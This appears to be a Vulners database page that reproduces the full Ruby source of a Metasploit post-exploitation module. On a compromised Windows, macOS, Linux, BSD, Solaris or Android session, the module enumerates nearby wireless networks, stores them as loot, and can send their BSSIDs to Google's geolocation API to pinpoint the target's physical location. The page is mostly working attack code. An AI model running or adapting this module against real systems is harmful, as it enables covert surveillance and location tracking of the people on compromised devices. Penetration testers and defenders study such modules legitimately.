Lucene search
K

Multiplatform WLAN Enumeration and Geolocation

🗓️ 19 Apr 2014 22:31:48Reported by Tom Sellers <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 46 Views

Multiplatform WLAN Enumeration and Geolocation. Enumerate wireless networks visible to the target device. Optionally geolocate the target by gathering local wireless networks and performing a lookup against Google APIs

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Multiplatform WLAN Enumeration and Geolocation',
        'Description' => %q{
          Enumerate wireless networks visible to the target device.
          Optionally geolocate the target by gathering local wireless networks and
          performing a lookup against Google APIs.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'Tom Sellers <tom[at]fadedcode.net>'],
        'Platform' => %w[android osx win linux bsd solaris],
        'SessionTypes' => [ 'meterpreter', 'shell' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              android_*
            ]
          }
        }
      )
    )

    register_options(
      [
        OptBool.new('GEOLOCATE', [ false, 'Use Google APIs to geolocate Linux, Windows, and OS X targets.', false]),
        OptString.new('APIKEY', [ false, 'Key for Google APIs if error is received without one.', '']),
      ]
    )
  end

  def get_strength(quality)
    # Convert the signal quality to signal strength (dbm) to be sent to
    # Google.  Docs indicate this should subtract 100 instead of the 95 I
    # am using here, but in practice 95 seems to be closer.
    signal_str = quality.to_i / 2
    signal_str = (signal_str - 95).round
    return signal_str
  end

  def parse_wireless_win(listing)
    wlan_list = []
    raw_networks = listing.split("\r\n\r\n")

    raw_networks.each do |network|
      details = network.match(/^SSID \d+ : ([^\r\n]*).*?BSSID 1\s+: (\h{2}:\h{2}:\h{2}:\h{2}:\h{2}:\h{2}).*?Signal\s+: (\d{1,3})%/m)
      if !details.nil?
        strength = get_strength(details[3])
        wlan_list << [ details[2], details[1], strength ]
      end
    end

    return wlan_list
  end

  def parse_wireless_linux(listing)
    wlan_list = []
    raw_networks = listing.split('Cell ')

    raw_networks.each do |network|
      details = network.match(/^\d{1,4} - Address: (\h{2}:\h{2}:\h{2}:\h{2}:\h{2}:\h{2}).*?Signal level=([\d-]{1,3}).*?ESSID:"([^"]*)/m)
      if !details.nil?
        wlan_list << [ details[1], details[3], details[2] ]
      end
    end

    return wlan_list
  end

  def parse_wireless_osx(listing)
    wlan_list = []
    raw_networks = listing.split("\n")

    raw_networks.each do |network|
      network = network.strip
      details = network.match(/^(.*(?!\h\h:))\s*(\h{2}:\h{2}:\h{2}:\h{2}:\h{2}:\h{2})\s*([\d-]{1,3})/)
      if !details.nil?
        wlan_list << [ details[2], details[1], details[3] ]
      end
    end

    return wlan_list
  end

  def perform_geolocation(wlan_list)
    if wlan_list.blank?
      print_error('Unable to enumerate wireless networks from the target.  Wireless may not be present or enabled.')
      return
    elsif datastore['APIKEY'].empty?
      print_error('Google API key is required.')
      return
    end
    g = Rex::Google::Geolocation.new
    g.set_api_key(datastore['APIKEY'])
    wlan_list.each do |wlan|
      g.add_wlan(wlan[0], wlan[2]) # bssid, signalstrength
    end

    begin
      g.fetch!
    rescue RuntimeError => e
      print_error("Error: #{e}")
    else
      print_status(g.to_s)
      print_status("Google Maps URL: #{g.google_maps_url}")
    end
  end

  # Run Method for when run command is issued
  def run
    case session.platform
    when 'windows'
      listing = cmd_exec('netsh wlan show networks mode=bssid')
      if listing.nil?
        print_error('Unable to generate wireless listing.')
        return nil
      else
        store_loot('host.windows.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
        # The wireless output does not lend itself to displaying on screen for this platform.
        print_good('Wireless list saved to loot.')
        if datastore['GEOLOCATE']
          wlan_list = parse_wireless_win(listing)
          perform_geolocation(wlan_list)
          return
        end
      end

    when 'osx'
      listing = cmd_exec('/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s')
      if listing.nil?
        print_error('Unable to generate wireless listing.')
        return nil
      else
        store_loot('host.osx.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
        print_good("Target's wireless networks:\n\n#{listing}\n")
        if datastore['GEOLOCATE']
          wlan_list = parse_wireless_osx(listing)
          perform_geolocation(wlan_list)
          return
        end
      end

    when 'linux'
      listing = cmd_exec('iwlist scanning')
      if listing.nil?
        print_error('Unable to generate wireless listing.')
        return nil
      else
        store_loot('host.linux.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
        # The wireless output does not lend itself to displaying on screen for this platform.
        print_good('Wireless list saved to loot.')
        if datastore['GEOLOCATE']
          wlan_list = parse_wireless_linux(listing)
          perform_geolocation(wlan_list)
          return
        end
      end

    when 'solaris'
      listing = cmd_exec('dladm scan-wifi')
      if listing.blank?
        print_error('Unable to generate wireless listing.')
        return nil
      else
        store_loot('host.solaris.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
        print_good("Target's wireless networks:\n\n#{listing}\n")
        print_error("Geolocation is not supported on this platform.\n\n") if datastore['GEOLOCATE']
        return
      end

    when 'bsd'
      interface = cmd_exec("dmesg | grep -i wlan | cut -d ':' -f1 | uniq")
      # Printing interface as this platform requires the interface to be specified
      # it might not be detected correctly.
      print_status("Found wireless interface: #{interface}")
      listing = cmd_exec("ifconfig #{interface} scan")
      if listing.blank?
        print_error('Unable to generate wireless listing.')
        return nil
      else
        store_loot('host.bsd.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
        print_good("Target's wireless networks:\n\n#{listing}\n")
        print_error("Geolocation is not supported on this platform.\n\n") if datastore['GEOLOCATE']
        return
      end
    when 'android'
      log = client.android.wlan_geolocate
      listing = ''
      wlan_list = []
      log.each do |x|
        mac = x['bssid']
        ssid = x['ssid']
        ss = x['level'].to_s
        listing += "BSSID: #{mac}\n"
        listing += "SSID: #{ssid}\n"
        listing += "Strength: #{ss}\n\n"
        wlan_list << [mac, ssid, ss]
      end
      if listing.blank?
        print_error('Unable to generate wireless listing.')
        return nil
      end
      store_loot('host.android.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
      print_good("Target's wireless networks:\n\n#{listing}\n")
      if datastore['GEOLOCATE']
        perform_geolocation(wlan_list)
        return
      end
    else
      print_error("The target's platform, #{session.platform}, is not supported at this time.")
      return nil
    end
  rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError
  rescue ::Exception => e
    print_status("The following Error was encountered: #{e.class} #{e}")
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation